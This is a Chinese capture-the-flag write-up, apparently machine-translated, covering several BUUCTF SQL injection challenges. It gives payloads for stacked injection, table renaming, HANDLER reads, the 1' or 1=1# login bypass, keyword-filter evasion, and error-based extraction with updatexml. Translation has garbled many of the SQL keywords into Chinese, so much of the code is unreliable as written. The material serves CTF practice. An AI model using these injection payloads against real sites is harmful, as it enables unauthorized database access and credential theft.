buu画笔笔记的Sql注入。
[强网杯 2019]随便注
第一种方法:堆栈注入。
有效负载:1 ';或1=1
查看数据库:1”;显示数据库;
视图表名:1”;显示表格;
检查这两个表的列值:1 ';显示单词列;
1';显示来自` 1919810931114514 `的列
因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1' or 1=1#爆出表所有内容就可以查flag啦
payload:0 ';将表格单词重命名为单词1;将表` 1919810931114514 `重命名为words更改表字更改标志id varchar(100)CHARACTER SET utf8 COLLATE utf8 _ general _ ci NOT NULL;desc的话;#
再次使用初始操作id=1 '或1=1#。
方法二:处理程序。
1';handler ` 1919810931114514` open处理程序` 1919810931114514 `先读#
[极客大挑战 2019]LoveSQL
找到登录框,可能是密码登录。让我们试试:输入:
用户名:1 '或1=1#
密码:随意输入。
跳转到check.php页面并成功登录,并获得用户名和密码。尝试用md5解密密码,但失败。
然后是一系列常规的sql注入,我就不赘述了。
[极客大挑战 2019]BabySQL
与前一个问题类似,这个问题只过滤关键字和,select,or,from,union和where,可以用双写交叉。
下面的步骤是一样的,这里就不重复了。
[极客大挑战 2019]HardSQL
并且1=1#被截取。
经过测试,还有,或者,空格,=,等等。被封锁了。考虑其他方法,您可以使用extractvalue和updatexml进行错误注入。
空格和=符号会被检测到,所以我们应该用()代替空格,就像代替=符号一样,并且等于和。
分解库:负载:username=admin' updatexml (1,concat (0x7e,database()),1) # password=admin。
图表外:有效负载:username=admin' updatexml (1,concat (0x7e),(从(information _ schema.tables)中选择(group _ concat (table _ name)),其中(table _ schema)像(' geek ')),1) # password=admin。
有效负载:username=admin' updatexml (1,concat (0x7e),(从(information _ schema.columns)中选择(group _ concat (column _ name)),其中(table _ name)像(' h4rdsq1 ')),1) # password=admin。
有效载荷:username=admin' updatexml (1,concat (0x7e,(select (group _ concat (id,username,password)) from (h4rdsq1))),1) # password=admin。
发现不完整的显示:
补充知识点:
左()右()函数,
左(参数,长度),右(参数,长度)
LEFT和RIGHT函数返回ARG最左边和最右边的LENGTH字符串,可以是CHAR或BINARY STRING。
发现只能输出32位左右,我们让他从右向左输出30位,然后拼接。
payload:'^updatexml(1,concat(0x7e,(select(right((password),30))from(h4rdsq1)),0x7e),1)#
通过拼接获得标志。
内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/36337.html